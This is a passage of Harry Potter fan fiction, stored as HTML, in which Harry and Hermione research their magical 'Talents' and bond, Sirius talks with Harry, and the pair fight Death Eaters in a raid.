said.</p>\n\n<p>&#8220;And therefore, Rowena Ravenclaw and Godric Gryffindor decided to build schools, so everyone could learn everything,&#8221; Hermione said, nodding excitedly. &#8220;They gathered knowledge in books, so it could be used by later generations, and gathered wizards and witches in one community, who worked together for the best of everyone. In short, they were there to secure knowledge for future generations.&#8221;</p>\n\n<p>Harry grinned. &#8220;Which page in which book, Hermione?&#8221; he asked.</p>\n\n<p>Hermione swatted his arm. &#8220;I didn&#8217;t find that in a book, prat. It was simple logic.&#8221; </p>\n\n<p>He chuckled, and Hermione found herself staring at him. He was rather&#8230; scratch that- <i>very- handsome</i>, especially when he smiled or laughed. Hermione had a sudden urge to bury her hands in his hair. Her eyes travelled to his eyes (startling, emerald green) to his nose (straight, cute) and to his mouth (very&#8230;tasty). Suddenly, she realised that he was looking back at her. Hermione raised her eyebrows in question, pulling her thoughts away from his, er, mouth.</p>\n\n<p>&#8220;I&#8217;m actually waiting for you to tell me why there was a Pectal and a Citatio in ancient <st1:country-region><st1:place>Egypt</st1:place></st1:country-region>, Hermione,&#8221; Harry said, his eyes glittering amusedly.</p>\n\n<p>Hermione swallowed. It was really unfair. Why did he <i>have</i> to be so&#8230;cute? &#8220;<st1:country-region><st1:place>Egypt</st1:place></st1:country-region> had enemies on all sides, because it was such a rich land. It needed strong and wise leaders.&#8221; She wracked her brain, trying to come up with anything else, but her head was on the wrong track. She decided to blame it on the fact that she was squeezed into a chair together with Harry. The chair was a bit too small for two persons. <i>But that didn&#8217;t bother you two minutes ago,</i> a voice in her head argued. She dismissed her brain&#8217;s argument.</p>\n\n<p>Harry nodded. &#8220;Yes, that&#8217;s partly it. But in the chapter about elements in this book, there is a lot of information about the four other elements, too. At the time the book was written, they knew a lot more about such stuff, &#8216;cause at the time they still knew who were the Elemental Guardians. Gryffindor didn&#8217;t just limit this book to &#8216;The Era of the Children of Power&#8217;, bless the man, but he also added lots of information which today is lost, among those things, about the Elements.&#8221; </p>\n\n<p>Harry shifted nervously. Hermione had suddenly figured that his shoulder was a nice pillow, and her hair tickled his neck. It was rather nice actually, but rather distracting.</p>\n\n<p>Clearing his throat, he continued. &#8220;You see, the four other Elements are neutral, but since Dark has a tendency to destroy everything in its way, they like being protected by Light, who always fights Dark. While we are kind of warriors for the Light, the Guardians of Fire, Earth, Water and Air are more shepherds than anything else. They try their best to guide their Element, but they have not control over it. However, at times, the Elements &#8216;gather&#8217; in one place. It doesn&#8217;t mean that they abandon any place on earth, but their &#8216;eyes&#8217; are directed at one place, and they manage to co-operate. Now, the Elements don&#8217;t have eyes, it&#8217;s just a way of speaking&#8230;&#8221; he paused, wracking his brain for a better way to explain it. &#8220;They &#8216;settle&#8217; in one place. The Guardians have nothing to do with this choice, the Elements themselves decide that they like the place, and then settle down there. As I said, this doesn&#8217;t mean that they are only <i>there&#8230;</i>&#8221; He paused again. </p>\n\n<p>&#8220;Damn difficult to explain. There is no explanation; it&#8217;s just the way it is. <i>&nbsp;</i>Anyway, this place will then have very much wealth and prosperity. Few harvests will go lost, few will die of diseases, there will be few catastrophes, drought and rain will come at the right times, and there will be plenty of food.&#8221;</p>\n\n<p>&#8220;Oh!&#8221; Hermione said. &#8220;And since the four Elements are kind of gathered, they will need extra protection, is that so?&#8221; She tilted her head upwards, still resting on Harry&#8217;s shoulder, to look at him, and he could feel her hot breath in his ear. The book almost slipped out of his hand.</p>\n\n<p>&#8220;Err, yeah,&#8221; he said, gulping slightly. &#8220;That&#8217;s about it.&#8221;</p>\n\n<p>They both fell silent for a while, trying to come up with more questions to find the answer too.</p>\n\n<p>&#8220;So,&#8221; Hermione said hesitantly. &#8220;What does the book say about the Pectal/Citatio relationship? You know, about this destined-to-be-together-rubbish.&#8221; Hermione immediately regretted her words. Why, oh, <i>why</i> did she call it rubbish? It sounded like she didn&#8217;t <i>like </i>it&#8230;</p>\n\n<p>Harry would have preferred that she hadn&#8217;t called it &#8216;rubbish&#8217;. &#8220;It doesn&#8217;t say much, just that we can&#8217;t fall in love with anybody other than our counterpart after we fully come into our power.&#8221; He tried to keep his face void of emotion. &#8220;So that means that I can&#8217;t fall in love with anyone but you, and you can&#8217;t fall in love with anyone but <st1:state><st1:place>me.</st1:place></st1:state>&#8221; Then he hastily added. &#8220;Of course, there&#8217;s no rule without an exception, and quite frankly I don&#8217;t believe it.&#8221; Harry smiled thinly, a smile Hermione didn&#8217;t see, because she was too busy staring at her hands. &#8220;I mean, love is a powerful thing&#8230;&#8221; he trailed off.</p>\n\n<p>&#8220;But Ramses the Pharaoh had more than one wife,&#8221; Hermione said, wondering why it was so important to her to know that she could fall for not only Harry. Then she realised it wasn&#8217;t important at all.</p>\n\n<p>&#8220;You don&#8217;t have to be in love with the woman &#8211;or man- you want to have children with,&#8221; Harry said. &#8220;In those days, continuing the blood-line and having many sons and daughters was more important than love. And many signs tell that he was very much in love with his first wife, Nefertari the Pectal.&#8221;</p>\n\n<p>Hermione took a deep breath, and laid her arms around his waist. Startled, Harry looked down at her, and into her very beautiful brown eyes. &#8220;It doesn&#8217;t matter,&#8221; she whispered. &#8220;You&#8217;re the one I love. I want no one but you.&#8221;</p>\n\n<p>Harry blushed slightly. He did have strong feelings for Hermione, so strong that he was more than willing to forget everything about their past, and he knew she had for him too, but hearing her say it like that was a bit special. He kissed her lips tenderly. &#8220;Love you, too,&#8221; he said.</p>\n\n<p>~*~</p>\n\n<p>Sirius was determined. Since he&#8217;d first met with his godson a month ago, they&#8217;d barely spoken. Harry had been busy with his classes and Hermione&#8217;s lessons, and he had been busy with Hermione&#8217;s animagus training, and after that he&#8217;d been sent on different errands for Dumbledore. Now he was going to have a chat with his godson.</p>\n\n<p>He walked resolutely up to the door, as Padfoot. With a &#8216;pop&#8217;, he was Sirius the second it took to cast the &#8216;Alohomora&#8217;, before another &#8216;pop&#8217; announced that he was Padfoot again. Then, he trotted into the room as a black dog. He had been right, it seemed. Either, he was keyed to the wards Harry had around his room, or, it didn&#8217;t catch animals. Sirius scoffed. He would have to talk to Harry about being so careless.</p>\n\n<p>His nose told him that Harry was in the room, together with another person. It took a second before Sirius realised it was Hermione. Grinning dogishly, determined to find out exactly what the teen-agers were up too, (probably nothing good) he looked around. He hadn&#8217;t been here before. It was a nice living area, with a small kitchen in the corner, a fireplace with some chairs, a couch, some more chairs, a table, and a desk. A door led into what he supposed was a bedroom. </p>\n\n<p>Sirius quickly decided that Harry and Hermione had to be in the chairs before the fireplace, as that was the only place in the room where they could be out of sight from where he stood. Also, he could hear shuffling sounds and low voices from there, when he strained his ears. He couldn&#8217;t make out words though.</p>\n\n<p>Sneakily he edged forward, suspecting that the two were up to something else than studying. Studying books anyway. </p>\n\n<p>He was quite right, and he could have spared the effort of sneaking. He rounded the chairs, and found them quite &#8230; busy.</p>\n\n<p>~*~</p>\n\n<p>A bark startled Harry and Hermione out of their rather comfortable situation. Harry&#8217;s head snapped up, and he was in action almost before his lips had left Hermione&#8217;s. Hermione wasn&#8217;t far behind, and poor Sirius found himself hovering five feet up, not any longer in his dog form, and quite unable to move or reach his wand. A wall of shimmering silver shielded his godson and his girlfriend, both from view and attack</p>\n\n<p>&#8220;Sirius!&#8221; chorused two exasperated voices, and the shield was lowered, while the two teens busied themselves in separating from each other.</p>\n\n<p>&#8220;Why didn&#8217;t you knock, like normal people tend to do?&#8221; asked Harry, rather crisply.</p>\n\n<p>Sirius cocked an eyebrow. &#8220;And ruin your snog session?&#8221;</p>\n\n<p>The two teens blushed. &#8220;Well, you did anyway,&#8221; Hermione countered.</p>\n\n<p>Sirius ignored that. &#8220;Could you put me down? As much as I like this- Owwww!&#8221; Sirius was cut off in mid-sentence and fell the five feet to the floor. </p>\n\n<p>Harry snickered. &#8220;So why are you here, Sirius? If not to spy on me?&#8221; he asked.</p>\n\n<p>Sirius scoffed. &#8220;I came to talk a bit to my godson, who I haven&#8217;t had a proper talk to in two years. The same godson, who has been avoiding me the last month,&#8221; he said.</p>\n\n<p>Harry shifted his feet. &#8220;Sorry about that,&#8221; he said, a bit sheepishly, casting a sidelong glance at Hermione. She understood immediately.</p>\n\n<p>&#8220;I&#8217;ll leave you two to catch up then,&#8221; she said lightly, before she kissed Harry on the cheek and left.</p>\n\n<p>Sirius absolutely despised awkward silences.</p>\n\n<p>~*~</p>\n\n<p>It was a while later, and the two of them had finished the small talk, told each other a bit about what had happened to them the last two years, and especially the last month. Harry had told Sirius about his relationship with Hermione, and Sirius had, of course, teased him endlessly, for which Harry blushed slightly, but other than that, just smiled. It appeared to Sirius that he was completely smitten with the girl, and how that was possible was a mystery to Sirius. After all, he had been away for two years&#8230; </p>\n\n<p>He could, of course, have liked her from before he left, but that was a very young age when it came to falling in love. And so absolutely in love&#8230; Well, love was a very weird thing, and completely unpredictable. You could never know when it came and swept you off your feet.</p>\n\n<p>Sirius might be blind at times, but even he could see that the youths were deeply in love with each other. The way Harry spoke of Hermione, the way they looked at each other, touched each other, and smiled at each other. One could get emotional from just watching. The only thing in the way for them to confess their undying and eternal love for each other was their own insecurity. The way Sirius saw it, neither of them thought they were old enough, or mature enough to go into such an intimate and binding relationship.</p>\n\n<p>Well, that Voldemort had something to do with it was rather likely, too.</p>\n\n<p>And perhaps Harry was still bitter because of Azkaban.</p>\n\n<p>Perhaps they weren&#8217;t very sure of their love for each other, either.</p>\n\n<p>Sirius&#8217; few moments of insight were efficiently drowned.</p>\n\n<p>&#8220;Harry,&#8221; he asked. &#8220;What- er, how do you feel about Azkaban now?&#8221; He knew the question wasn&#8217;t something Harry wanted to answer, but he felt it had to be asked.</p>\n\n<p>Harry looked surprised for a moment, before he frowned slightly. &#8220;It&#8217;s kind of difficult,&#8221; he said, sighing. &#8220;I no longer feel bitter about it. I guess it was a feeling that slowly dissipated once when I returned.&#8221; His frown deepened. &#8220;It&#8217;s weird, really. Before I returned to Hogwarts I was very hateful and bitter. And now, I&#8217;m not.&#8221; He looked down at his hands, and knew he could share this information with his godfather. After all, he had been betrayed and locked up in that horrid place for twelve years. Harry himself hadn&#8217;t even been there.</p>\n\n<p>He looked back at Sirius. &#8220;Actually, I feel kind of guilty.&#8221; Sirius&#8217;s eyebrows flew up, but Harry continued before he could say anything. &#8220;I mean, I escaped Azkaban. I never went there. And then, when people realised the truth, and learnt what they&#8217;d done, they regretted it. Yet, I didn&#8217;t forgive them.&#8221; He sighed again. &#8220;They must have felt terrible; first they realise what kind of mistake they&#8217;ve made, and then they have to live with the fact that I&#8217;m angry with them.&#8221;</p>\n\n<p><i>That boy,</i> thought Sirius, <i>is way too self-sacrificing.</i> &#8220;Erm, Harry,&#8221; he said. &#8220;I don&#8217;t think you have to be sorry for that&#8230; I mean, they <i>did</i> betray you. I wouldn&#8217;t say they didn&#8217;t deserve what they got, and now you have forgiven them. If you&#8217;re okay with that, they&#8217;re okay with it, too. There&#8217;s no reason to dwell on it.&#8221;</p>\n\n<p>&#8220;I know, Sirius,&#8221; he answered. &#8220;But Hermione had a horrible time, you know.&#8221; </p>\n\n<p><i>Ahh.</i><i> That&#8217;s where it comes from.</i> &#8220;I don&#8217;t think you need to worry about Hermione, she seems to have forgiven you,&#8221; he said with a grin.</p>\n\n<p>&#8220;I know that,&#8221; Harry said, rather irritably. &#8220;But I can&#8217;t remember you taking half a year when it came to forgiving people,&#8221; he said.</p>\n\n<p><i>Are we actually sitting here discussing whether or not Harry has the right to be angry with the whole world for turning against him? </i>Sirius asked himself incredulously. He chose not to voice the thought. &#8220;I think I have the explanation to that, Harry,&#8221; he said. &#8220;I was in Azkaban for twelve years, and was robbed of every good memory I had when I met Remus again. Remus reminded me of so many things I could not remember; so many good and happy memories came back to me when we talked to each other. I guess this kind of overpowered all bitter and angry thoughts, because that was the only thing I&#8217;d known for twelve years, and I wouldn&#8217;t voluntarily let them come back to me. My way to fight Azkaban was to rejoin with the good parts of my life. And Moony definitely is a good part of my life.&#8221;</p>\n\n<p>He paused briefly. &#8220;You, however, had two years to contemplate and rethink all those bitter thoughts, compare the good times to the bad, and wonder why and how they could turn against you. When you came to Hogwarts, your brain chose to remember all the good times, and forget the bad times, &#8216;cause that&#8217;s how the human brain is. So, after a while, you were able to forget about your bitterness. And now, when you can&#8217;t really remember those thoughts, you regret them.&#8221; Sirius grinned wickedly. &#8220;And I guess a certain lovely young lady helped the progress quite a bit, didn&#8217;t she?&#8221;</p>\n\n<p>Harry blushed again. &#8220;Can&#8217;t you stop that?&#8221; he asked.</p>\n\n<p>&#8220;No,&#8221; Sirius said simply. &#8220;I just have to make sure you will invite me to your wedding.&#8221;</p>\n\n<p>Harry rolled his eyes heavenwards. &#8220;Sirius,&#8221; he said warningly.</p>\n\n<p>&#8220;I guess you will want Ron as your best man, won&#8217;t you?&#8221; Sirius asked, paying Harry no heed.</p>\n\n<p>Harry sighed. Sirius wasn&#8217;t exactly difficult to read, and what he really was asking was why Harry hadn&#8217;t talked to Ron yet. Harry hadn&#8217;t told anyone what he knew about Ron, and didn&#8217;t plan on it either, because he knew that there was a possibility that Ron would outgrow his silliness, and find his place in the world. He&#8217;d shown several times that he wasn&#8217;t completely beyond redemption. &#8220;Sirius,&#8221; he said. &#8220;Please drop that. I have decided it will be best <i>not</i> to let Ron into this. Please respect my decision.&#8221; His tone clearly stated that he&#8217;d said his last word on the subject.<b></b></p>\n\n<p>~*~</p>\n\n<p>Hermione was back in Harry&#8217;s quarters. This time however, they weren&#8217;t being naughty. In fact, Harry had been able to cast a translation spell on the book named <i>Talents. </i>Only one who knew the language he/she was going to translate, could cast such a spell. He had also decided that he would cast a Language-learning spell on Hermione, so she could learn it too. That Language Talent sure was handy.</p>\n\n<p>Thus, they were now going through this <i>Talents</i> book. It seemed that this book was going to reveal quite a lot of forgotten things. Apparently, Salazar Slytherin, (not Slandrin) also had a Talent. The book called it Foresight. While it was not exactly a Seer Talent, it was a Talent which allowed the user to foresee certain things. Among those &#8216;certain things&#8217; was the fact that lots of knowledge would go lost, despite the Founders&#8217; desperate strivings to preserve it. Salazar had, obviously, sensed that Talents (or much of the knowledge about Talents) was something which would go lost, and thus, the five founders (they had yet to split up) had crammed all their knowledge about Talents into that book, written it in the language of The Children of Power, and hidden it where it would be found by the next Pectal or Citatio in a time of need. Salazar, obviously, &#8216;sensed&#8217; this too.</p>\n\n<p>&#8220;Well then,&#8221; Hermione said, eagerly, practically bouncing with joy. &#8220;Let&#8217;s get started!&#8221; Harry grinned at her enthusiasm, but felt he was eager, too. So many mysteries were spun around the Talents, and no one really knew anything about them anymore. They had already discovered that at least one of them had gotten lost; the one both Harry and Voldemort had.</p>\n\n<p>The first startling revelation came when they read about Mind-Reading and Soul-Searching. Apparently, the two of them were related Talents, and according to the book, one person couldn&#8217;t have both of them. Sometimes however, they appeared in some kind of cross-breed, where Mind-Reading/Soul-Searching were one Talent interwoven with each other. This could happen with a few others too, like Shapeshifting/Beast-Speaking, but both were rather rare.</p>\n\n<p>&#8220;Interesting,&#8221; Hermione said. &#8220;Wonder why that is?&#8221;</p>\n\n<p>Harry said nothing, and when Hermione looked at him, he had a rather shocked expression on his face. &#8220;What?&#8221; she asked, but Harry only grabbed the book and read the information about this other Talent, eloquently named Mind-Searching.</p>\n\n<p>&#8220;<i>&#8217;The Talent can be mistaken for Mind-Reading, but is much more. The wielder can read minds easily, but not only that. He can also read what the victim knows about what he&#8217;s thinking. If, for example, the victim was thinking about Healing Potions, the Mind-Searcher can dive into the victim&#8217;s mind and catch everything the victim knows about Healing Potions, from the smallest and most inconsequential little detail, to whatever secrets the victim may possess about the art. All this, even though the victim may not have thought about anything but which spatula he or she was going to use when stirring their next potion.&#8217;</i>&#8221;</p>\n\n<p>Hermione looked quizzically at Harry. &#8220;I&#8217;m a Mind-Searcher, Hermione,&#8221; he said simply. &#8220;Not a Mind-Reader, as I thought I was.&#8221; He thought back to when he had been reading Fudge&#8217;s mind, and delved into his mind to get information about the Bonded.</p>\n\n<p>Now it was Hermione&#8217;s turn to look shocked, but only for a moment, before she snatched the book, eager to uncover more secrets.</p>\n\n<p>The two of them got rather scared when they read about the &#8216;new&#8217; Talent, which Harry had named Weaving. With that Talent you could weave magic into almost everything. The book spoke about weaving <i>fear</i> into <i>air</i>, and <i>pain</i> into <i>water.</i> They were relieved though, when they discovered that it had its limits; one could not weave very much at one time. Also, the larger an area or thing you wove anything into, the shorter it would last. Voldemort had been weaving fear into his name for quite some time, but they didn&#8217;t know if he had to re-weave this. After all, a name was rather abstract, much more so than air.</p>\n\n<p>They also discovered that Language and Beast-Speaking Talents didn&#8217;t always cover every language or every beast. Harry and Hermione immediately decided that they would figure out how far their gifts stretched, as soon as they got time. Hermione also was very eager to try out her Talent, and was rather deflated when Harry told her that it had yet to awaken.</p>\n\n<p>The most startling revelation however, had yet to come. Hermione&#8217;s eyes widened as she read the passage. &#8220;<i>&#8217;Every witch or wizard has at least one Talent. Indeed, even Muggles can have one. The most common Talent is Telekinesis, the second is Voice, and the third, Telepathy. After that comes Foresight, Destiny and Seeing &#8211;if the gift is very small. Some people go through their lives without even noticing it, dismissing Telekinesis as wandless and accidental magic, and Telepathy as a figment of imagination. Voice though, they often use without knowing they have it. The other Talents are more difficult to ignore.</i></p>\n\n<p><i>The number of Talents varies, and depends on how much actual magical power the person has. A witch or wizard of average power usually has one of those mentioned above. Magicians of above average power can have two, in some cases three. Four is extremely rare, and no one, except a Child of Power has ever been recorded to have five. Of those few Children of Power there have been, the average is six, seven or eight Talents, where eight is rather rare. Only once, a Child had nine, but that was in the time just before the Pectals and Citatios started to fight each other.&#8217;</i>&#8221; Hermione stopped reading, mouth dry.</p>\n\n<p>&#8220;Crainigar&#8217;s Tails,&#8221; Harry whispered, mouth a-gape. &#8220;You&#8217;re kidding me?&#8221;</p>\n\n<p>Hermione shook her head slowly. &#8220;Number of Talents indicate about how powerful you are,&#8221; she said quietly. &#8220;Then we are-&#8220;</p>\n\n<p>&#8220;Way too powerful!&#8221; Harry exclaimed. &#8220;Hermione, you know you have at least <i>ten</i> Talents! <i>At least!</i>&#8221;</p>\n\n<p>Hermione nodded. &#8220;And you have twelve.&#8221;</p>\n\n<p>Harry felt like banging his head against the wall. &#8220;Not even among Pectals and Citatios can I be normal,&#8221; he said bitterly.</p>\n\n<p>Hermione couldn&#8217;t help herself; she started giggling. Harry scowled at her. &#8220;What are you laughing at?&#8221; he asked, and Hermione only shook her head.</p>\n\n<p>&#8220;Oh Harry,&#8221; she said laughingly. &#8220;When are you going to realise that you are anything but normal?&#8221;</p>\n\n<p>Harry stuck his lower lip out and pouted cutely, sending Hermione into a fit of giggles yet again.<b></b></p>\n\n<p>~*~</p>\n\n<p>Harry and Hermione got little time to unravel more secrets about the Talents. Even though Hermione took both books and decided that she would go through them, she had her NEWTs, which she took together with Blaise. While Hermione continued her lessons with Harry (lessons which not always were strictly professional, mind you), Blaise was taken into the Order of the <st1:city><st1:place>Phoenix</st1:place></st1:city>, where she was to play a role in how to get the youngsters already involved with Voldemort, away from Voldemort. </p>\n\n<p>The rest of the student body got no explanation as to why both of them disappeared from lessons, and only came to meals. Blaise usually took her meals in her new rooms though, especially when there were few teachers around, and often she was accompanied by Hermione. The two girls, being separated from the rest of the school for surprisingly similar reasons, soon became good friends, and gave Hermione time to talk with Ron when he came to visit Blaise. He was friendly and seemed to take the news about her being a Pectal nicely, but Hermione was a bit concerned by the feelings she sensed in Ron. They shifted from one to another so easily, almost as if he had split personalities. But it never showed outside.</p>\n\n<p>The school soon was in uproar though, when fifteen students suddenly disappeared, and Dumbledore darkly informed the school that Voldemort had begun to gather his forces. People disappeared from all over <st1:country-region><st1:place>Britain</st1:place></st1:country-region> and several from other countries, too. Quite a few of them were captured later, during Death Eater raids.</p>\n\n<p>The raids became even more frequent, but most of the people caught by Aurors were young and often inexperienced. Voldemort was saving the really good ones.</p>\n\n<p>The good news was that the Aurors now were recruiting people at a high rate, and managed to prevent several of the raids. Also, some of the students who had disappeared from Hogwarts came to Blaise, who they knew had deserted Voldemort, and became spies for the Order.</p>\n\n<p>But alas, Dark activity increased, and a day did not go by without murdering or torturing. The only light in the tunnel was the Pectal and the Citatio, and they were doing their best to increase their power and control. The problem was that even though they should be ready to face Voldemort, they did not know where he was. After all, what was the chance of him showing himself as he&#8217;d done at the Ministry yet again?</p>\n\n<p>~*~</p>\n\n<p>&#8220;Whatever you do, <i>don&#8217;t</i> take any chances,&#8221; Harry said, looking worriedly down at his girlfriend. When the number of attacks had increased, Harry had left them to the Aurors, knowing it was impossible for him to take care of them all, to concentrate entirely on Hermione. Now, they had come to a point in her training that Harry didn&#8217;t like. Exposing her to danger.</p>\n\n<p>Hermione was looking out from behind the wall, trying to see everything from where she stood, in the small alley between two brick houses. The only person with her was Harry, and both of them were invisible. Several houses were on fire already, and black-robed persons ran around, sending curses in all directions.</p>\n\n<p>She saw a Death Eater send a curse, saw it hit a young girl, perhaps fourteen years old or so, saw the girl being thrown through the air, and landing with a painful thump ten feet away. Saw him laugh. Felt her insides boil with anger.</p>\n\n<p>A small crystal, three inches long rested in her hand. Magic surged through her, and a blue light shot out from the crystal, her focus. It hit the man squarely in his back, and sent <i>him</i> flying several feet, before collapsing in a heap.</p>\n\n<p>Hermione concentrated on the skies above, and on the ground below her. Three minutes later water poured from the sky, and spouted out of small cracks in the earth, trying to extinguish the fires. She felt Harry beside her, calling the flames back. Soon, there were only small flickers of fire left.</p>\n\n<p>Hermione stepped out from behind the wall, still invisible. Wordlessly she started to send curses, and before the Death Eaters knew what hit them, ten were out cold. Who had taken them down they didn&#8217;t know. They were, unfortunately, intelligent enough to draw conclusions, and when they saw a red beam of light the next time, one of them quickly sent an Avada Kedavra in that direction. Harry was thrown into the air and only barely managed to flip around to land on his feet. The curse managed to disturb him so his invisibility shielding disappeared, leaving him exposed. Quickly he rolled behind a shelter, replaced his invisibility shielding, and Disapparated ten feet away, just as ten curses hit the car he&#8217;d been hiding behind. Calmly he replaced his Killing-Curse Shield, too, and sent Hermione a calming thought.</p>\n\n<p>All this within a few seconds.</p>\n\n<p>Hermione had frozen for a second when Harry had been hit, but shook out of it almost immediately. She shifted her position quickly, and managed to stun two Death Eaters, while all the others were conentrating on Harry. </p>\n\n<p>Harry sent a curse too, from his new position, which took out another Death Eater, before he again Disapparated, this time onto a roof, just as Aurors started to Apparate in.</p>\n\n<p>Hermione Apparated to a spot behind the Death Eaters and transfigured a trash can into a metallic human-like figure. A silvery light from her hands snuffed consciousness out of four of them, while the metal figure walked straight at a fifth one, and knocked him down. The Aurors did quick work with the remaining ones.</p>\n\n<p>A tear slipped down Hermione&#8217;s check, and Harry silently wrapped his arms around her waist, holding her close. The girl she&#8217;d seen lay dead in the street, her blonde hair spread out, wet and dirty from the mud. The curse had broken her back.</p>\n\n<p>~*~</p>\n\n<p>&#8220;What kind of Shapeshifter are you, Harry?&#8221; Hermione asked.</p>\n\n<p>Harry looked questioningly at her. &#8220;What?&#8221;</p>\n\n<p>&#8220;What kind of Shapeshifter are you?&#8221; Hermione repeated. &#8220;Are you a Plant Shifter, a Predator Shifter, a Bird Shifter, a Magical Creatures Shifter, a Non-Magical Creature Shifter, a Fish Shifter, a Mammal Shifter, or-&#8220;</p>\n\n<p>&#8220;Hermione, what are you talking about?&#8221; Harry asked, confused. &#8220;I&#8217;m a Shapeshifter.&#8221;</p>\n\n<p>&#8220;Yes,&#8221; Hermione said impatiently. &#8220;I know that. But what kind?&#8221;</p>\n\n<p>Harry tried to make sense of what she was saying. &#8220;Kind?&#8221;</p>\n\n<p>Hermione looked rather perplexed. &#8220;You mean you don&#8217;t know?&#8221;</p>\n\n<p>&#8220;Know what?!&#8221; Harry said, rather exasperated.</p>\n\n<p>&#8220;There are several types of Shapeshifters. Some Shapeshifters can only change into birds, others can change into plants only, some can only change into animals or plants of the same family, like the dog family, including wolf, jackal, hyena, and so forth. Some Shapeshifters can only change into sea animals and others only mammals. Others can perhaps only change into sea mammals, while others only land mammals, or perhaps only birds.&#8221; Hermione looked very excited, like she always did when she was learning something new.</p>\n\n<p>&#8220;I already know you can be a tiger, a human, a horse and a thestral, &#8216;cause you&#8217;ve showed me those, but what others do you have?&#8221; Hermione continued, practically bouncing around.</p>\n\n<p>&#8220;Hermione,&#8221; Harry started slowly. &#8220;I don&#8217;t think I have any limit.&#8221;</p>\n\n<p>Hermione stopped bouncing. &#8220;No&#8230;limit?&#8221;</p>\n\n<p>Quickly Harry changed into several different shapes, including a birch tree, a diamond, a dog, a dolphin, a vulture, an eagle, a cod, a tuna, an ivy plant, a lion, and a fly.</p>\n\n<p>Hermione&#8217;s jaw dropped. &#8220;But- but&#8230;&#8221;</p>\n\n<p>&#8220;But what?&#8221; Harry asked gently, his eyes laughing.</p>\n\n<p>&#8220;That&#8217;s impossible,&#8221; Hermione said lamely. &#8220;It&#8217;s impossible to be a Complete Shapeshifter.&#8221;</p>\n\n<p>Harry slumped into the nearest chair. &#8220;I should have guessed,&#8221; he said sarcastically.</p>\n\n<p>~*~</p>\n\n<p>During the next few days Hermione came up with several new revelations, not only the Shapeshifter thing. Harry still had problems with the fact that it, theoretically, was impossible to Shapeshift into everything. He tried hundreds of forms, but did not find any he could not Shift into. He started to realise that he might be more powerful than he had first thought.</p>\n\n<p>One of the other of Hermione&#8217;s revelations was about Seeing, much to her disgust. Apparently, Seeing was a Talent. Harry had long suspected it, but he hadn&#8217;t been sure. The book had three chapters on Seeing only; one chapter dedicated to Trance Seeing, Vision Seeing, Foresight and Destiny, another to Future Seeing, and a third to History Seeing. It also talked about different strengths of Seeing. Hermione, much to her displeasure, figured that Professor Trelawney did indeed have a very weak Vision Seeing Talent, allowing her to See a few minutes into the future. She also had a stronger, though not much, Trance Seeing Talent. Trance Seeing was also called Prophecy.</p>\n\n<p>Harry on the other hand, and a rather strong Vision Talent which was combined with a very weak Destiny Talent and a strong Foresight. The Destiny Talent allowed a person to See destinies, and it was a part of what had made him keep his powers secret. However, as any Seeing Talent it was not very reliable, as coincidences or twists of fate could change a person&#8217;s path completely. Both his Foresight and Destiny was centred upon him, so he could not See other&#8217;s destinies or Foresee anything not regarding himself.</p>\n\n<p>Hermione, though lacking any Seeing Talent, for which she was grateful, did &#8216;Foresee&#8217; that Harry would not like the fact that he indeed had not twelve, but fifteen Talents.</p>\n\n<p>Being much better at studying than Harry, she also picked up a few facts from the Pectal and Citatio book that Harry hadn&#8217;t. A very small comment gave them a small clue as to why Harry was born with his powers, and Hermione not. <i>&#8216;I, Godric, who was born first, trained the fair Lady Ravenclaw, as it is fit for a Pectal.&#8217; </i>It wasn&#8217;t exactly a proof, but she found out that Ramses was born before his Pectal, Nefertari, and Godric was born before Rowena. Thus, Hermione figured, since she was born after Harry, it had something to do with the order of their births. It seemed like it was the person who was born first who was the &#8216;teacher&#8217;, while the person who was born last was the &#8216;student&#8217;. She didn&#8217;t know if the female <i>could</i> be born first though. History did not tell of it anyway, and it wasn&#8217;t until a bit later that she found that Merlin in fact had been a Citatio. History did not speak of any Pectal though, but some books, which were regarded as very unreliable sources, did speak of a woman who supposedly had trained him. Some said it was his mother, while other said it was a lover, and other an older sister.</p>\n\n<p>Hermione started to re-write the book since it was written in an old language, and the writing style was rather old-fashioned. She hoped to have it finished before next autumn. She also started walking around in the school, using techniques the book spoke about, to find other students with Talents. Harry had used Foresight and Vision when finding her Talents, even though some of them had not yet awakened, and he had also, as a Citatio, been able to notice some of them. A very powerful wizard could do that. Also, all wizards could recognise someone with the same Talent as themselves, but it had to happen after the Talent&#8217;s awakening. </p>\n\n<p>With this, and the help of the magical ways the book spoke off, Hermione was able to find the Talents of almost all students in school. It was true as the book said, that Telekinesis was a very common Talent, and she found quite a few with Voice, and the same amount of Seeing as Professor Trelawney. Much to her amusement Professor Snape was one of them, but he also had Voice. Professor McGonagall had Voice and something called Aura. People who had that Talent could emit an aura of what they were feeling. If they felt determined, they emitted an aura of determination. If they were sad, they emitted an aura of sadness. If they had control over the gift though, they could manipulate it, so even though they felt deadly scared, they could emit an aura of optimism and courage. This could be rather useful in a battle, and Hermione felt sure that Dumbledore had that as his second Talent. He was able to hide his Talents, all of them, even though he was only aware of one. Hermione felt sure that he had at least three, maybe four.</p>\n\n<p>~*~</p>\n\n<p>Professor McGonagall was rather startled when two men unannounced showed up on the Hogwarts grounds late one evening. One of them was clad in Muggle clothes with a blue cape, while the other was clothed in black robes.</p>\n\n<p>The black-robed person spoke. &#8220;I am Asham Narnek. I wish to speak to Headmaster Dumbledore about one of his students.&#8221; He spoke in a deep but soft baritone. &#8220;My friend William wishes to speak to him for the same reason, but about another student.&#8221; <b></b></p>\n\n<p>~*~</p>\n\n<p>Seven persons from the Order of the <st1:city><st1:place>Phoenix</st1:place></st1:city> had been set task of doing research on Voldemort. Few had come up with anything they did not know. </p>\n\n<p>It was late evening, in an old library in <st1:country-region><st1:place>Chile</st1:place></st1:country-region>, <st1:place>South America</st1:place>, and though the task Daniel Ramman was assigned was important, he was considering turning in. He had spent the last two weeks going through old books with references to powerful wizards and witches, and every ancient cult he could find anything about. Also, he had read about ancient civilisations, and old monuments, which people didn&#8217;t rightly know who had built.</p>\n\n<p>So far he had found a few bits and pieces in the old books, which the Muggles didn&#8217;t even know existed. The ancient people who had been driven out by the Spaniards after America had been discovered, had left many documents behind, showing that they indeed had been a mixed culture of magical and non-magical people. Some of the books referred to a very powerful group of people, who were worshipped as Gods. When they left, the non-magicals believed that they lived on in those people with magical talents. The Gods had been known to start landslides, earthquakes and storms if they were displeased, but if they were pleased, everything went well.</p>\n\n<p>Daniel was quite certain this was about the &#8216;Children of Power&#8217; that Potter had talked about, but it wasn&#8217;t very useful. <i>One more book and I&#8217;ll crash,</i> he thought to himself. The book was very old, even though it was a newer copy of the original. It was a story, apparently. A fairy-tale to tell children at night, Daniel thought at first. But the tale caught his 